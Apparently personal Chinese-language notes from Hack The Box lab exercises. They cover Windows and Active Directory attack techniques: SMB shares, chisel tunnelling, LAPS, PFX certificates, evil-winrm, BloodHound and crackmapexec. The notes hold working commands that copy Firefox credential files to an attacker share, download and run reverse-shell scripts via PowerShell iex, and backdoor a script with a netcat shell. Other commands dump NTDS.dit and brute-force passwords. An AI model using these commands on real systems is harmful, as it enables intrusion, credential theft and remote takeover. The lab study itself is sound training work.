  • /u:RedteamNotes``RedteamNotes:指定用于身份验证的用户名 ( )。

  • RedteamNotes:指定指定用户名的密码。

    copy key4.db \10.10.14.9\share

    copy logins.json \10.10.14.9\share

    copy nss3.dll \10.10.14.9\share

2

kali impacket-smbserver share $(pwd) -smb2support

靶机

copy \10.10.14.27\share\Chimichurri.exe

Chimichurri.exe 10.10.14.27 5555

3.impacket

smbserver.py share . -smb2support -username df -password df

  • share是您正在创建的共享的名称。

  • .是共享目录的路径,在本例中是当前目录。

  • -smb2support启用对 SMB2 的支持。

  • -username df -password df指定用于身份验证的用户名和密码。

    靶机

    net use \\10.10.14.6\share /user:df df

    在此命令中:

    • \\10.10.14.6\share是您要映射的网络共享的路径。

    • /user:df df指定用户名和密码。如果用户名或密码包含空格,则应用双引号引起来。在您的情况下,用户名似乎是“df”,密码也是“df”。

copy 20191018035324_BloodHound.zip \10.10.14.6\share\

4.

certutil.exe -urlcache -split -f http://10.10.16.11/JuicyPotato.exe

powershell iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')

powershell

iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')

powershell iex(new-object net.webclient).downloadstring('http://10.10.14.55:80/Sherlock.ps1')

powershell iex 用不了的话用

使用 cmd.exe 调用 PowerShell 并运行以下命令:

powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Get-SPNs.ps1')"

在xp_cmdshell里

xp_cmdshell powershell curl 10.10.16.5/nc64.exe -outfile c:\programdata\nc64.exe

nishang

sudo apt install nishang

PowerShellTcp.ps1

将Invoke-PowerShellTcp.ps1复制到⼯作⽬录下,编辑脚本在尾部追加:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 443

然后为脚本⽂件架设建议web服务器。同时nc监听443端⼝。之后在靶机的 drupalgeddon2>> 提示符下执⾏:

powershell iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')

看起来您已经发布了一个 PowerShell 命令,该命令使用iex(Invoke-Expression) 从远程位置下载并执行 PowerShell 脚本

  1. new-object net.webclient:创建 .NET 类的新实例WebClient,用于从 Internet 下载内容。

  2. .downloadstring('http://10.10.14.8:8080/InvokePowerShellTcp.ps1'):调用 的DownloadString方法WebClient下载指定 URL 的内容,在本例中为位于 的 PowerShell 脚本http://10.10.14.8:8080/InvokePowerShellTcp.ps1

  3. iex: 的缩写Invoke-Expression,用于调用从指定URL下载的表达式(脚本)

端口转发

chisel

本地mysql访问受限,没有直接对外暴漏端⼝,我们做下端⼝反向转发。先安装chisel:

sudo apt install chisel

搬运到靶机中:

certutil.exe -urlcache -split -f http://10.10.14.8/chisel.exe

然后在kali中执⾏,建⽴chisel服务器端服务,监听9595端⼝,等待获得反向链接。

chisel server -p 9595 --reverse

在靶机中执⾏客户端,链回服务器端,⽤R:3306指定远端,即kali端的3306映射到本地,即靶机的3306,建⽴隧道。

chisel.exe client 10.10.14.8:9595 R:3306:localhost:3306

连接后服务端是有响应⽇志的。然后再kali中连接mysql数据库。

mysql -h 127.0.0.1 -u root -p

转发kali端口到靶机(就是靶机可以访问kali 的)

kali 开启 python3 -m http.server --bind 127.0.0.1 8000

正向连接

./chisel server -p 12345

靶机执行chisel.exe client 192.168.61.128:12345 11111:127.0.0.1:8000

就将kali的8000端口转发到靶机的11111端口上了,此时在靶机可以访问127.0.0.1:11111

反向连接

win10执行chisel.exe server -p 12345 --reverse

kali执行./chisel client 192.168.61.129:12345 R:11111:127.0.0.1:8000

代理扫描网络或网关

反向

可以将端口转发到本地nmap扫描特定端口

kali ./chisel server --reverse -p 8000

靶机 .\chisel.exe client 10.10.14.67:8000 R:127.0.0.1:socks

确保socks 5 127.0.0.1 1080添加/etc/proxychains.conf(在文件最下面添加

socks 5 127.0.0.1 1080)

proxychains nmap -sT -P 88 172.16.22.1

这表明它是域控

正向

win10执行chisel.exe server -p 12345

kali执行./chisel client 192.168.61.129:12345 socks

mssqlclient

看前面的

域端口

53 (域名系统 - DNS):⽤于域名解析。将域名转换为对应的IP地址。

88 (Kerberos):⽤于⽹络认证服务。主要⽤于在计算机AD⽹络中安全地验证⽤户和系统身份。

135 (远程过程调⽤ - RPC):⽤于远程过程调⽤,允许远程计算机执⾏在另⼀个计算机上运⾏的程序。

139 (NetBIOS):⽤于共享⽂件和打印机等资源。通常与SMB(Server Message Block)协议⼀起使

⽤。

389 (轻型⽬录访问协议 - LDAP):⽤于访问和修改分布式⽬录服务,如Active Directory。

445 (Microsoft-DS - 直接主机扩展):⽤于Microsoft Windows操作系统上的共享⽂件和打印机。与

SMB协议相关。

464 (Kerberos密码):⽤于与Kerberos安全协议相关的更改密码操作。593 (微软 DCOM):⽤于分布式组件对象模型(DCOM)远程通信。

636 (安全套接字层 - SSL/TLS LDAP):⽤于加密的LDAP通信。

3268 (全局编录服务 LDAP):⽤于访问全局编录服务,允许在域之间搜索。

3269 (全局编录服务 LDAP SSL):加密的全局编录服务LDAP通信。

5986 (远程管理服务 - WinRM):⽤于Windows远程管理服务,基于Web服务的管理接⼝。

9389 (⽹⻚代理):⽤于代理⽹络流量,提供匿名访问和内容过滤。

49667, 49673, 49674, 49688, 49695:这些端⼝是动态/私有端⼝,通常在系统中的特定应⽤程序或服务需要通信时动态分配。

端⼝Kerberos + LDAP + DNS + SMB的组合表明这很可能是⼀个域控制器。涉及到域控制器的渗透注意绑定域名,以对不同⼦域名的主机头做正确设置和确保其可访问性。dc01.timelapse.htb和timelapse.htb

LAPS

谷歌 windows LAPS

Windows本地管理员密码解决⽅案(Windows LAPS,Windows Local Administrator PasswordSolution)是Windows的⼀个功能,它可以⾃动管理和备份Azure Active Directory加⼊或WindowsServer Active Directory加⼊设备上本地管理员账户的密码。您还可以使⽤Windows LAPS⾃动管理和备份Windows Server Active Directory域控制器上的⽬录服务还原模式(DSRM)账户密码。授权管理员可以检索DSRM密码并使⽤它。

来源链接:Windows LAPS 概述 | Microsoft Learn

LAPS还会定期更改管理员密码,使得如果这些密码被攻击者获取,它们在⼀段时间后将会失效

\看⽤户组信息:>net groups /domain

>net groups "LAPS READ" /domain

net groups "LAPS ADM" /domain

属于laps read组的一个可以利用 get-adccomputer找ms-mcs-admpwd字段

还有就是利用工具

LAPSDumper

python laps.py -u lothbrok -p RedteamN0tes! -l 10.129.228.115 -d

LicorDeBellota.htb

PFX ⽂件格式解析

证书体系: PFX 文件格式解析-CSDN博客

在Windows中,.pfx(Personal Information Exchange)是一种用于存储加密的私钥、公钥和证书链的文件格式。通常,这种文件包含了一个用于安全通信的数字证书,包括私钥和相关的公钥。

具体而言,.pfx 文件通常包括以下信息:

  1. 私钥(Private Key): 用于加密和解密数据的私钥。私钥是与数字证书相关联的敏感信息,因为拥有私钥的人可以对使用该证书签名的数据进行解密和验证。

  2. 公钥(Public Key): 与私钥对应的公钥。公钥是在加密通信中用于加密数据的密钥,而私钥用于解密。

  3. 证书链(Certificate Chain): 用于验证数字证书的证书链。证书链包括颁发证书的所有中间证书和根证书。

这种格式的文件通常用于在安全通信中使用 TLS/SSL 协议,例如在网站上启用 HTTPS。当你在网站上启用 HTTPS 时,服务器通常需要一个包含私钥和公钥的.pfx 文件,以便与客户端建立安全的加密连接。

在一些情况下,.pfx 文件也用于导入和导出数字证书和私钥,以便在不同的系统之间进行迁移或备份。使用工具如 OpenSSL 或 Microsoft 的证书管理工具可以进行 .pfx 文件的创建和管理。

请注意,.pfx 文件通常需要密码保护,以确保私钥等敏感信息的安全性。在使用时,用户可能需要提供密码来解锁文件中的私钥。

zip2john winrm_backup.zip > winrm_backup.zip.hash

john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

这三篇⽂章都会给你讲解pfx⽂件及其敏感⽂件提取⽅式:

\1. Understanding PFX File with Examples - howtouselinux 很简洁准确

\2. Extracting the certificate and keys from a .pfx file - IBM Documentation:

IBM Documentation

\3. PFX证书导出公钥和私钥 pfx 证书导出公钥和私钥「建议收藏」-腾讯云开发者社区-腾讯云

私钥提取

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc

PEM pass phrase随便设置,我设置为1234

⽤刚设置的密码解密密钥

openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key

提取证书

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt

perm和key扩展

在加密和证书相关的上下⽂中, .pem 和 .key 是两种不同的⽂件扩展名,它们通常⽤于存储不同类型的数据。

\1. .pem(Privacy Enhanced Mail)扩展名:

PEM是⼀种⽂件格式,通常⽤于存储加密的⽂本数据,例如加密的私钥、证书等。PEM格式使⽤Base64编码,并使⽤ -----BEGIN...----- 和 -----END...----- 之间的标记将数据包装起来,标记中还包含了数据类型的信息。PEM格式可以包含不同类型的数据,例如:

⽤于HTTPS服务器的SSL/TLS证书( .crt 或 .pem 扩展名)

⽤于HTTPS服务器的私钥( .key 或 .pem 扩展名)

CA(Certificate Authority)颁发的根证书( .crt 或 .pem 扩展名)

证书链( .crt 或 .pem 扩展名)

由于PEM格式是⽂本格式,所以它在跨平台和跨系统之间的传输和共享上⾮常⽅便。

\2. .key扩展名:

.key 扩展名通常⽤于表示私钥⽂件。私钥是加密和解密数据的关键部分,它⽤于⽣成数字签名、建⽴安全连接等。 .key ⽂件通常不进⾏Base64编码,⽽是以⼆进制格式存储,因为私钥是敏感信息,不应该在⽂本格式中存储,以免被意外泄露。

所以, .pem ⽂件是⼀种⽂本格式,⽤于存储各种加密相关数据,⽽ .key ⽂件是私钥⽂件的⼀种表示形式,通常以⼆进制格式存储私钥数据。在某些情况下, .pem ⽂件可能包含私钥数据,但是通常 .key ⽂件更专⻔⽤于表示私钥。

X.509的不同编码格式和常⽤⽂件扩展名。

X.509是⼀种标准的公钥基础设施(PKI)证书格式,⽤于证明实体(例如个⼈、组织或设备)与公钥之间的关联。X.509证书通常⽤于数字证书领域,⽤于加密、认证和安全通信。这些证书可以使⽤不同的编码格式,并且可以保存为不同的⽂件扩展名。下⾯解释了X.509的不同编码格式和常⽤⽂件扩展名:

DER编码(Distinguished Encoding Rules):

DER是⼀种⼆进制编码格式,它将X.509证书编码为⼆进制数据。DER编码通常⽤于基于⼆进制的传输,如TLS/SSL通信或⼆进制数据存储。DER编码的证书没有⼈类可读性,但在计算机之间传输效率⾼。

常⽤⽂件扩展名:

.cer:这是DER编码的常⻅⽂件扩展名,表示单个X.509证书⽂件。

.der:同样表示DER编码的X.509证书⽂件。

PEM编码(Privacy-Enhanced Mail):

PEM是⼀种基于⽂本的编码格式,它使⽤Base64编码将X.509证书编码为ASCII字符。PEM编码的证书在⽂本编辑器中可读,也可以轻松地通过电⼦邮件或⽂本传输。

常⽤⽂件扩展名:

.pem:这是PEM编码的常⻅⽂件扩展名,表示单个X.509证书⽂件。

.crt:通常情况下,.crt⽂件是PEM编码的X.509证书⽂件。注意有时候这些⽂件可能实际上是DER编码,但使⽤.crt扩展名是常⻅的习惯。

PFX/P12编码:

PFX(Personal Information Exchange)或P12是⼀种格式,可以将X.509证书和相关的私钥打包在⼀起。通常⽤于在单个⽂件中存储证书及其对应的私钥,以⽅便导⼊和导出。

常⽤⽂件扩展名:

.pfx:表示PFX编码的⽂件。

.p12:同样表示PFX编码的⽂件。PKCS12代表“公钥密码学标准#12”,它是密码学领域中定义的⼀种⽂件格式。PKCS12⽂件通常以.p12或.pfx为扩展名。这种⽂件格式⽤于将X.509数字证书(包括公钥和关联的数字证书链)和私钥打包在⼀起,以便⽅便地导⼊和导出证书及其对应的私钥。

PKCS12⽂件通常⽤于存储与个⼈或实体相关联的数字证书和私钥,⽐如SSL证书、代码签名证书等。这种⽂件格式⾮常便于传输,并且可以通过密码保护来确保安全性。PKCS12⽂件还可以包含额外的属性,如密码保护的私钥、证书链和其他辅助信息。它可以由多种密码学算法保护,⽐如密码⼝令或其他形式的密钥材料。在应⽤程序和系统之间导⼊和导出PKCS12格式的⽂件⾮常常⻅。例如,在Web服务器上配置SSL证书时,通常会使⽤PKCS12⽂件格式将证书和私钥⼀起导⼊到服务器上。

总结:PKCS12是⼀种⽂件格式,⽤于将X.509数字证书和私钥打包在⼀起,并通过密码保护确保安全性。它常⽤于导⼊和导出证书及私钥,特别是在SSL配置等场景中。

总结:

DER编码(.cer、.der):⼆进制格式,适⽤于计算机间传输。

PEM编码(.pem、.crt):⽂本格式,适⽤于⼈类可读和电⼦邮件传输。

PFX/P12编码(.pfx、.p12):⽤于存储证书和私钥的组合。

请注意,虽然⽂件扩展名在某种程度上对编码格式进⾏了推断,但有时可能不是完全准确的,因为⽂件可以使⽤任何扩展名

使用evil-winrm连接(该工具使用也在这)

evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

获得系统初始⽴⾜点,注意使⽤证书登录通常需要启⽤SSL(Secure Sockets Layer)加密,即给定-S选项。证书连接⽅式和5986端⼝(⽽不是5985)都有-S的需求。

明文密码登入

evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

有upload 和download

poweshell

查找defend白名单

查看 Defender 的排除路径找到defend白名单

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s 您提供的命令是 Windows 命令提示符命令,它使用该reg query命令查询 Windows 注册表以获取信息。在本例中,它在注册表中查询指定的子项路径: 以下是该命令的详细说明:

  • reg query:这是用于查询Windows注册表的命令。

  • "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions":这是注册表项路径。它指向 HKEY_LOCAL_MACHINE (HKLM) 注册表配置单元中“HKLM\SOFTWARE\Microsoft\Windows Defender”下的“Exclusions”子项。Windows Defender 在此保存有关排除设置的信息。

  • /s:此选项指示reg query在搜索中包含所有子项。

找RDP(终端会话)信息

query user这也可以通过列出活动登录会话找到 或者

qwinsta /server:127.0.0.1也可以看到该:qwinsta命令在Windows操作系统中用于查询远程服务器上的远程桌面会话(终端会话)信息。在你的命令下:

Meterpreter有一个screenshare功能,可以定期截取活动桌面的屏幕截图,并允许攻击者像直播一样观看。

运行它时,它会在 Firefox 中弹出一个 HTML 页面,显示桌面:

命令的使用

$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
  1. $pass: 这是一个变量,用于存储最终的 SecureString。

  2. ConvertTo-SecureString: 这是一个 PowerShell cmdlet,用于将普通文本转换为安全字符串。

  3. "W3_4R3_th3_f0rce.": 这是你要转换的普通文本,通常是密码。在这个例子中,密码是"W3_4R3_th3_f0rce."。

  4. -AsPlainText: 这是 ConvertTo-SecureString 的参数,指示输入字符串是普通文本而不是已加密的文本。通常,你在输入密码时会使用这个参数。

  5. -Force: 这是 ConvertTo-SecureString 的参数,用于确认转换操作,即强制执行转换。

这行 PowerShell 脚本是用来创建一个 PSCredential 对象的,该对象包含了用户名和密码的组合,通常用于进行身份验证。让我们一步一步解释这行脚本:

$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
  1. $cred: 这是一个变量,用于存储最终的 PSCredential 对象。

  2. New-Object System.Management.Automation.PSCredential: 这是一个 PowerShell cmdlet,用于创建 PSCredential 对象。

  3. "ACUTE\imonks": 这是用户名,通常以域名(在这里是"ACUTE")和用户名(在这里是"imonks")的形式提供。

  4. $pass: 这是之前创建的 SecureString 对象,包含了用户的密码。

所以,这行脚本的目的是创建一个 PSCredential 对象,其中包含了用户名 "ACUTE\imonks" 和对应的密码。这样的对象通常在需要进行身份验证的情况下使用,比如在进行远程 PowerShell 会话时,你可以使用这个对象来提供凭据信息

这行 PowerShell 脚本使用 Enter-PSSession cmdlet 建立一个与远程计算机的 PowerShell 会话,并通过 -Credential 参数提供凭据信息进行身份验证。让我们一步一步解释这行脚本:

Enter-PSSession -ComputerName ATSSERVER -Credential $cred
  1. Enter-PSSession: 这是一个 PowerShell cmdlet,用于进入一个远程 PowerShell 会话。

  2. -ComputerName ATSSERVER: 这是 -ComputerName 参数,指定要连接的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。

  3. -Credential $cred: 这是 -Credential 参数,用于提供凭据信息。在这里,通过之前创建的 $cred 变量提供了用户名和密码的组合,这个变量包含了 PSCredential 对象。

通过这行脚本,你会被提示输入与 "ACUTE\imonks" 用户相关联的密码。然后,如果身份验证成功,你将进入到 "ATSSERVER" 远程计算机的 PowerShell 会话中,可以在其中执行命令和脚本,就像你直接在 "ATSSERVER" 上执行一样。当你完成操作后,可以使用 Exit-PSSession 退出远程会话。这对于远程管理和执行命令非常有用。

这条 PowerShell 命令 Enter-PSSession-ConfigurationName 参数指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。让我们一步一步解释这个命令:

Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
  1. Enter-PSSession: 这是 PowerShell 中用于进入远程 PowerShell 会话的 cmdlet。

  2. -ComputerName ATSSERVER: 这是 -ComputerName 参数,指定要连接到的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。

  3. -Credential $cred: 这是 -Credential 参数,用于提供凭据信息。通过之前创建的 $cred 变量提供了用户名和密码的组合,这个变量包含了 PSCredential 对象。

  4. -ConfigurationName dc_manage: 这是 -ConfigurationName 参数,指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。在这里,"dc_manage" 是一个 PowerShell 终结点的名称。

通过使用 -ConfigurationName 参数,你可以连接到远程计算机上的指定 PowerShell 终结点,这样你可以在该终结点上执行特定配置的命令。通常,这种配置用于限制在远程计算机上执行的操作,提高安全性。在这个例子中,"dc_manage" 可能是一个特定的 PowerShell 终结点,为域控制器(Domain Controller)的管理提供了一组特殊的权限和功能。

Invoke-Command -ScriptBlock
Get-Command, Get-Alias

Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

我还将查看Get-Alias设置的内容:

Invoke-Command -ScriptBlock { Get-Alias } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

具体而言,Get-Alias 命令会返回当前 PowerShell 会话中定义的所有别名的列表。别名与其对应的命令、函数或脚本块一一对应。通过查看别名,你可以了解哪些缩写或简短名称可以用于执行特定的命令或功能。就是powershell中命令的别名,如ls别名什么

始终值得查看 C:\program files(和C:\program files (x86)) 中安装的程序:

Invoke-Command -ScriptBlock { ls '\program files' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

替换内容

Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.67 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

Invoke-Command -ScriptBlock {((Get-Content -Path ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | Set-Content -Path ..\desktop\wm.ps1} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

此 PowerShell 命令执行以下操作:

  1. Invoke-CommandATSSERVER使用 PowerShell 远程处理在远程计算机 ( ) 上启动脚本块的执行。

  2. -ScriptBlock {...}指定将在远程计算机上执行的脚本块。在脚本块内:

    • ((Get-Content -Path ..\desktop\wm.ps1 -Raw)wm.ps1从桌面读取脚本文件的内容,并使用-Raw参数将内容读取为单个字符串(而不是行数组)。

    • -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443'使用-replace运算符将 内容中出现的所有字符串“Get-Volume”替换wm.ps1为命令C:\utils\nc64.exe -e cmd 10.10.14.6 443

    • | Set-Content -Path ..\desktop\wm.ps1将修改的内容写回到wm.ps1桌面上的文件中。

  3. -ComputerName ATSSERVERATSSERVER指定将执行脚本块的远程计算机 ( ) 的名称。

  4. -ConfigurationName dc_managedc_manage指定要在远程计算机上使用的PowerShell 远程处理端点配置名称 ( )。

  5. -Credential $cred提供远程会话所需的凭据。该变量$cred可能包含一个PSCredential具有必要的用户名和密码的对象。

提权添加用户到管理员足,提取管理员密码

⾸先增加⽤户到Core Staff组

Windows 本身没有 Add-DomainObjectAcl 、 Add-DomainGroupMember 和 Get-DomainObject 等类似功能,需要我们⾃⼰写或引⼊第三库,我们⽤PowerView这段脚本,⽤wget下载到kali中。官⽅帮助⽂档在这⾥ About - PowerSploit

Evil-WinRM PS C:\Users\nikk37\Documents> cd c:\programdata

Evil-WinRM PS C:\programdata> upload PowerView.ps1 这边是在evil-winrm里面可以用upload

Evil-WinRM PS C:\programdata> . .\PowerView.ps1

⼀如脚本的命令中第⼀个点( . )表示在当前的 PowerShell 环境中运⾏脚本。后⾯的空格后跟着⼀个点和⼀个反斜杠( .\ ),表示当前⽬录下的⽂件,这是powershell的语法。

Evil-WinRM PS C:\programdata> $pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

Evil-WinRM PS C:\programdata> $cred = New-Object

System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)

然后,将JDGodd增加到CORE Staff组中。net user jdgodd 看状态

添加用户到组Core Staff

Evil-WinRM PS C:\programdata> Add-DomainObjectAcl -Credential $cred -

TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"

  • Add-DomainGroupMember这可能是一个自定义 cmdlet 或函数,旨在将成员添加到域组。

  • -Credential $cred指定用于操作的凭据。$cred应该是一个包含对象的变量,该PSCredential对象具有将成员添加到组所需的权限。

  • -Identity "Core Staff"指定要添加成员的目标域组。在本例中,它是“核心员工”。

  • -Members "StreamIO\JDgodd"指定要添加到组中的成员。在本例中,它是“StreamIO\JDgodd”,表示“StreamIO”域中的用户 JDgodd。

然后尝试读取管理员密码。默认属性中没有,在扩展属性中识别出管理员密码。这在Timelapse的⿊思⽂档中也有类似的场景。

找ms-Mcs-AdmPwd字段获得密码

Get-AdComputer dc -Properties * -Credential $cred

  • Get-ADComputer此 cmdlet 用于从 Active Directory 检索计算机对象。

  • dc这是您为参数提供的值-Identity。在这种情况下,您似乎正在尝试检索名称为“dc”或部分名称“dc”的计算机的信息。

  • -Properties \*此参数检索指定计算机对象的所有属性。它正在获取计算机的所有可用属性。

  • -Credential $cred此参数允许您指定用于操作的凭据(用户名和密码)。$cred应该是一个包含PSCredential对象的变量

找ms-Mcs-AdmPwd字段

在通过搜索等⽅式如果知道字段名称ms-Mcs-AdmPwd,可以进⾏过滤和查询。

Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred

相应地也可以在获得了CORE Staff组身份后通过LDAP读取。

ldapsearch

kali里面

ldapsearch -H ldap://10.129.64.149 -b 'DC=streamIO,DC=htb' -x -D

JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

\1. ldapsearch: 这是命令⾏⼯具,⽤于查询 LDAP 服务器。

\2. -H ldap://10.129.64.149: -H 参数后跟的是 LDAP 服务器的 URL,这⾥表示我们正在连接到的服务器地址是 10.129.64.149 ,并且使⽤的是⾮安全的 ldap(⽽不是 ldaps)。

\3. -b 'DC=streamIO,DC=htb': -b 参数是指定搜索的基础 distinguished name (DN)。这⾥的 DN 指的是基于 streamIO.htb 的顶级域。

\4. -x: 使⽤简单身份验证⽽不是 SASL。

\5. -D JDgodd@streamio.htb : -D 参数指定的是绑定的 DN,即⽤户的完整名称。在这个例⼦中,⽤户是 JDgodd@streamio.htb 。

\6. -w 'JDg0dd1s@d0p3cr3@t0r': -w 参数后⾯是⽤户的密码,⽤于身份验证。

\7. "(ms-MCS-AdmPwd=*)": 这是 LDAP 查询过滤器。它查询所有具有 ms-MCS-AdmPwd 属性的对象。 * 表示匹配所有值,所以这个查询实际上是在找所有设置了该属性的对象。

\8. ms-MCS-AdmPwd: 这是要从查询结果中检索的属性。在这个上下⽂中, ms-MCS-AdmPwd 通常是与 LAPS(本地管理员密码解决⽅案)相关的,这是⼀个在 Active Directory 环境中⾃动管理本地管理员密码的解决⽅案。

ldapsearch -H support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"| less

less它允许用户逐页查看文本内容

ldapsearch -H sequel.htb -D 'ryan.cooper@sequel.htb' -w 'NuclearMosquito3' -b "DC=sequel,DC=htb"| less

crackmapexec

也可以通过crackmapexec获得

crackmapexec smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds

--laps :指定laps认证

--ntds :使⽤指定的⽅法(默认为:drsuapi)从⽬标 DCs 中转储 NTDS.dit。

VHD文件挂载

VHD文件包含Microsoft Windows Virtual PC(Windows)使用的虚拟硬盘映像。 虚拟化 程序。 它存储虚拟机(VM)硬盘的内容,其中可能包括磁盘分区,文件系统,文件和文件夹。 VHD文件可用于在一台计算机上安装多个操作系统,测试软件程序或运行较旧的应用程序。

安装vhd挂载所需程序

sudo apt-get install libguestfs-tools

  1. 检查挂载磁盘

sudo guestfish --ro -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd'

  • guestfish:这是用于与虚拟机磁盘映像交互的命令行工具。它是 Libguestfs 项目的一部分,该项目提供用于访问和修改虚拟机 (VM) 磁盘映像的工具。

  • --ro:指定磁盘映像应以只读模式打开。这是一项安全措施,旨在防止无意中修改磁盘映像。

  • -a '/mnt/134/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd':指定要访问的虚拟机磁盘映像的路径。在这种情况下,路径指向位于指定目录的VHD(虚拟硬盘)文件。

    run

    list-filesystems

su root

2.挂载vhd文件

mkdir 1234

guestmount -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd' -m /dev/sda1 --ro /mnt/1234

挂载vhd文件

  1. # -a 指定vhd文件

  2. # -m 指定挂载磁盘

  3. # -ro 指定为只读

guestmount --add /mnt/123/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/1234

  • --inspector:此选项启用检查器模式。检查器是一个可以自动检测映像中有关操作系统和磁盘结构的信息的工具。它有助于理解磁盘映像的内容和结构。

  • --ro:指定磁盘映像应以只读模式安装。这是一项安全措施,旨在防止无意中修改磁盘映像。

  • /mnt2/:指定主机系统上将安装虚拟机磁盘映像内容的安装点。您将能够在此安装点访问磁盘映像的内容。

crackmapexec

https://github.com/mpgn/CrackMapExec

CrackMapExec(简称CME)是⼀种后渗透测试⼯具,帮助⾃动化评估⼤型Active Directory⽹络的安全性。CME的设计理念是“靠⼭吃⼭”,通过巧⽤内置的Active Directory功能/协议来实现其功能,并能规避⼤多数终端保护、⼊侵检测和⼊侵防御解决⽅案。

CME主要依赖Impacket库(由@asolino开发)来处理⽹络协议并执⾏各种后渗透技术。

尽管主要⽤于攻击性⽬的(如红队、内部渗透测试),CME也可以被蓝队使⽤,⽤于评估账户权限、发现可能的配置错误和模拟攻击场景。

从枚举已登录⽤户和遍历SMB共享到执⾏类似psexec的攻击,使⽤PowerShell⾃动注⼊

Mimikatz/Shellcode/DLL等到内存中,以及转储NTDS.dit等操作,它提供了多种功能。

\1. 完全由纯Python脚本编写,⽆需外部⼯具;

\2. 全⾯⽀持并发线程;

\3. 仅使⽤本地WinAPI调⽤来发现会话、⽤户、转储SAM哈希等;

\4. 具备操作安全性(不会上传⼆进制⽂件来转储明⽂凭据、注⼊Shellcode等)。

此外,它还使⽤数据库来存储已使⽤/转储的凭据。还能⾃动将管理员凭据与主机进⾏关联,使您能够

轻松跟踪凭据集,并在⼤型环境中增加额外的情境意识。

⽐如⽀持cmedb:

cmedb -h 具体看ppt stringio

与Get-AdComputer找ms-Mcs-AdmPwd字段获得密码的替代:

crackmapexec smb streamio.htb -u user -p pass --no-bruteforce --continue-on-success

  • --no-bruteforce:该标志表示不进行暴力攻击。相反,它意味着您正在提供有效的凭据并且不想尝试暴力攻击。

  • --continue-on-success:该标志指示 CrackMapExec 继续执行,即使它成功获得了对系统的访问权限。如果您想要收集信息或在多个系统上执行其他操作,这可能很有用。

获得

crackmapexec smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds

--laps :指定laps认证

--ntds :使⽤指定的⽅法(默认为:drsuapi)从⽬标 DCs 中转储 NTDS.dit。

smb扫描的替代

crackmapexec smb 10.10.11.108 --shares

爆破

crackmapexec smb 10.10.10.52 -d htb.local -u htb.local/james -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt

验证能否winrm(用hash值)

crackmapexec winrm 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

改smb就可以验证smb了

尝试哪个密码可以用在猜测的user.txt里面,就是哪个用户是正确的

crackmapexec smb 10.10.11.129 -u hope.txt -p IsolationIsKey? --continue-on-success

crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182 显示smb共享

bloodhound

Bloodhound - Security | Yume Shoka = 啊啊啊波罗 一些使用的

SharpHound.ps1

iex(new-object net.webclient).downloadstring("http://10.10.16.3/SharpHound.ps1")

invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

invoke-bloodhound:这是执行BloodHound的命令。

或者就 -c all

我用不了啊

bloodhound-python和安装

sudo apt search bloodhound

